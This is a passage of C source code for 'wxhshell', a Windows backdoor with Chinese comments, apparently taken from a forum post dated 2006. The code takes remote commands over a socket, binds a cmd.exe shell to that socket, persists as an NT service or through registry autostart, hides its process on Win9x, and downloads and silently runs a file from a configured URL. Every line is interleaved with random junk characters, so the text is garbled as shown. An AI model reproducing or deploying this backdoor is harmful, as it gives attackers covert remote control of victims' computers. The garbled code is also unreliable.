  // 帮助 wHT]&fZ  
  case '?': { {4 y#+[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5LF&C0v  
    break; bQvhBa?  
  } D<QE?:#  
  // 安装 < dD)>Y.  
  case 'i': { r6b;v2!8  
    if(Install()) FxFRrRRH@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); up@I,9C/  
    else j;MQ_?"iN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L0Ycf|[s,  
    break; +W%3VV$  
    } % tE#%;Z  
  // 卸载 4:I'zR5  
  case 'r': { oSl@EI  
    if(Uninstall()) ?mA%`*=q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI es}n:  
    else tP. jJC~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \) FFV-k5  
    break; tKX+eA]  
    } Hrg~<-.La  
  // 显示 wxhshell 所在路径 S;8gX1Uf  
  case 'p': { W]CsKN,K  
    char svExeFile[MAX_PATH]; ~Z>!SMXp<  
    strcpy(svExeFile,"\n\r"); 6Mj (B*c  
      strcat(svExeFile,ExeFile); Z1y=L$t8  
        send(wsh,svExeFile,strlen(svExeFile),0); \-W|)H  
    break; Q1'4xWu  
    } W^k|*Y|  
  // 重启 *}P=7TuS  
  case 'b': { M%z$yU`ac  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qRc Y(mb  
    if(Boot(REBOOT)) ,\RZ+kC>~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fEB&)mM  
    else { "g%=FH3e  
    closesocket(wsh); ED;rp 9(  
    ExitThread(0); YApm)O={  
    } 69? wZfj'  
    break; q2e=(]rKE{  
    } 9 S4bg7  
  // 关机 $X_A 74 (  
  case 'd': { >+FaPym  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s qEOXO  
    if(Boot(SHUTDOWN)) =L]GQ=d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k^#+Wma7  
    else { {g]Mx|5Q  
    closesocket(wsh); XQPlhpcv  
    ExitThread(0); U~GQ JR  
    } YHOo6syk  
    break; M~ku4ZP  
    } "qdEu KI  
  // 获取shell '/'dg5bfV  
  case 's': { !zQbF&>  
    CmdShell(wsh); hd1aNaF-  
    closesocket(wsh); l 2ARM3"  
    ExitThread(0); +pY-- 5t  
    break; "j/jhe6  
  } <<Q}|$Wu  
  // 退出 c0v6*O)  
  case 'x': { mXOY,g2w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U}R (  
    CloseIt(wsh); V0G"Z6  
    break; +GvPJI  
    } x(+H1D\W   
  // 离开 bV&"jjEx  
  case 'q': { 6qd?&.=r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'w8p[h (,  
    closesocket(wsh); VCX^D)[-  
    WSACleanup(); =$-+~  
    exit(1); ,92wW&2  
    break; ]ne  
        } isU4D  
  } Q*ixg$>  
  } *TgD{>s  
[ 0z-X7=e  
  // 提示信息 )?;+<,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aP[oLk$'Z  
} hEq-)-^G  
  } -oT3`d3  
2C AR2V|  
  return; .$ X|96~$  
} |c[= V?AC  
)?{jD  
// shell模块句柄 `hf`lq^  
int CmdShell(SOCKET sock) (>SucUU  
{ O?t49=uB}  
STARTUPINFO si; 9/JB n  
ZeroMemory(&si,sizeof(si)); V~sfR^FQ'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] @uuB\u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L./{^)  
PROCESS_INFORMATION ProcessInfo; ML.|\:r*  
char cmdline[]="cmd"; Nj{;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9~{,Hj1xE  
  return 0; zG)vmysJf  
} aen0XiB6~^  
n.=Zw2FE  
// 自身启动模式 ]oLyvG  
int StartFromService(void)  a"D'QqtH  
{ 8osP$"/o  
typedef struct )%09j0y>l"  
{ 'Pe;Tp>`  
  DWORD ExitStatus; no(or5UJ  
  DWORD PebBaseAddress; @~bP|a  
  DWORD AffinityMask; LT#EYnG  
  DWORD BasePriority; ?&-$Zog  
  ULONG UniqueProcessId; LSrKi$   
  ULONG InheritedFromUniqueProcessId; { u3giB  
}   PROCESS_BASIC_INFORMATION; bT^(D^  
^B!()39R?  
PROCNTQSIP NtQueryInformationProcess; _+OCI%=:  
jJD*s/o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iu.Jp92  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !j/54,  
-TS5g1  
  HANDLE             hProcess; ,AH2/^:%c  
  PROCESS_BASIC_INFORMATION pbi; q[(1zG%NbA  
XXA.wPD-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |W*5<2Q9  
  if(NULL == hInst ) return 0;  I)MRAo  
{f\{{JJ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~KczP1p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3e9UDN2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m=25HH7enb  
^% L;FGaA  
  if (!NtQueryInformationProcess) return 0; hi/Z>1ZOX  
(aLjW=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xp9] 9H.  
  if(!hProcess) return 0; kqjj&{vPFJ  
?)H:.]7-x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -<:w{cV  
85USMPF  
  CloseHandle(hProcess); *D67&/g.  
A 8g_BLj!e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qJE_4/<^!  
if(hProcess==NULL) return 0; Sx1|Oq]  
[ldBI3  
HMODULE hMod; &3Lhb}m  
char procName[255]; zt!7aVm n  
unsigned long cbNeeded; }tL]EW^  
BO2s(8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R$`%<Y3)  
xDNXI01o  
  CloseHandle(hProcess); @hwNM#>`  
<{j;']V;  
if(strstr(procName,"services")) return 1; // 以服务启动 OC)=KV@KE  
`I8ep=VZ  
  return 0; // 注册表启动 PQUJUs  
} ' g d=\gV  
vl~HV8MAv  
// 主模块 UW1i%u k  
int StartWxhshell(LPSTR lpCmdLine) 51-'*Y  
{ }0sLeGJ!  
  SOCKET wsl; |;\pAZ2  
BOOL val=TRUE; y&/bp<Z  
  int port=0; MnlD87x@X  
  struct sockaddr_in door; b~2LD3"3  
6z]y =J  
  if(wscfg.ws_autoins) Install(); WD1>{TSn  
1'P4{T0 [  
port=atoi(lpCmdLine); bokr,I3  
_9dW+  
if(port<=0) port=wscfg.ws_port; z4(`>z2a  
2O- 4x  
  WSADATA data; 9I*2xy|I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ta$55K0  
nzZs2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Sk-Q 4D^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ly z8DwZ  
  door.sin_family = AF_INET; U'u_'5 {  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~NB|BwAh  
  door.sin_port = htons(port); CM7NdK?I  
\58bz<u"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U "r)C;5  
closesocket(wsl); i(;.Y  
return 1; 6uTC2ka[&R  
} %`~+^{Wp  
x4h.WDT$  
  if(listen(wsl,2) == INVALID_SOCKET) { G9Noch9 g  
closesocket(wsl); 4Dy1M}7  
return 1; @R<z=n"  
} W.%p{wB |  
  Wxhshell(wsl); 9m)gp19YA  
  WSACleanup(); LG:d  
XpYd|BvW  
return 0; e.^?hwl  
K4]#X"  
} *sau['Ha  
i6$HwRZm#  
// 以NT服务方式启动 L2_[M'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q}cti /  
{ olr-oi`4C  
DWORD   status = 0; Yf/e(nV  
  DWORD   specificError = 0xfffffff; +43~4_Oj  
^Ku]8/ga  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l`uMtv/Wp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yo(MJ^=d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $|@pY| f  
  serviceStatus.dwWin32ExitCode     = 0; $xK\$kw\  
  serviceStatus.dwServiceSpecificExitCode = 0; "ZPgl 8  
  serviceStatus.dwCheckPoint       = 0; 0FLCN!i1  
  serviceStatus.dwWaitHint       = 0; "?kDR1=7A  
22;B:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +o'xyR'(  
  if (hServiceStatusHandle==0) return; fwmXIpteK  
o5sw]R5  
status = GetLastError(); uF1&m5^W  
  if (status!=NO_ERROR) U#bmMH  
{ Ya> AI.!K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [qxU \OSC  
    serviceStatus.dwCheckPoint       = 0; Vf.*!`UH  
    serviceStatus.dwWaitHint       = 0; \B:k|Pw6~  
    serviceStatus.dwWin32ExitCode     = status; We\i0zUU  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~d3@x\I?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo@8?>}{X  
    return; >ts}\.(]  
  } R]o0V*n  
Z9MR"!0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O}(sn  
  serviceStatus.dwCheckPoint       = 0; E 0l&d  
  serviceStatus.dwWaitHint       = 0; x^ `IZ{!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X @pm!c#  
} ExN $J  
t: oQHhO?  
// 处理NT服务事件,比如:启动、停止 gz~ug35  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9HPmJ`b  
{ fJ0V|o  
switch(fdwControl) Rkp +}@Y_  
{ 5 UOqS#"0  
case SERVICE_CONTROL_STOP: 2b,edJVt?  
  serviceStatus.dwWin32ExitCode = 0; $06('Hg&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'U*#7 1S  
  serviceStatus.dwCheckPoint   = 0; dh.{lvlX|  
  serviceStatus.dwWaitHint     = 0; j l]3B  
  { Yyd]s\W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'rS\9T   
  } zb4{nzX=  
  return; j%D{z5,nKm  
case SERVICE_CONTROL_PAUSE: iq?T&44&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~wF3$H.@;  
  break; +> d;%K  
case SERVICE_CONTROL_CONTINUE: [b&V^41W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4mKH |\g  
  break; SSTn |  
case SERVICE_CONTROL_INTERROGATE: *M*WjEOA  
  break; xWqV~NnE  
}; :475FPy]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <}h <By)  
} tN_=&|{WE4  
tIV{uVM[|D  
// 标准应用程序主函数 2y|n!p T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Ff6nc=  
{ T31F8K3x  
a7uL {*ZR  
// 获取操作系统版本 jIwN,H1$-  
OsIsNt=GetOsVer(); 3 {hUp81>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fw{68ggk  
8SL E*c^8  
  // 从命令行安装 n*' :,m  
  if(strpbrk(lpCmdLine,"iI")) Install(); %'=2Jy6h  
&<_q00F  
  // 下载执行文件 :Ny[?jt c  
if(wscfg.ws_downexe) { LFqY2,#i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K" |~D0Qgo  
  WinExec(wscfg.ws_filenam,SW_HIDE); #_`p 0wY  
} 0%%y9;o  
JiO8 EIM  
if(!OsIsNt) { <;'{Tj-"  
// 如果时win9x,隐藏进程并且设置为注册表启动 dtTfV.y4w  
HideProc(); ]Hq,Pr_+  
StartWxhshell(lpCmdLine); akPd#mf  
} Iw`|,-|  
else jcvq:i{  
  if(StartFromService()) l:bbc!3  
  // 以服务方式启动 e==/+  
  StartServiceCtrlDispatcher(DispatchTable); #Ef!X  
else  qT #=C'?  
  // 普通方式启动 ZXkrFA |  
  StartWxhshell(lpCmdLine); 2hso6Oy/v{  
a&2x;diF  
return 0; EYZ&%.Sy5  
}
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只看该作者 1 发表于: 2006-10-10
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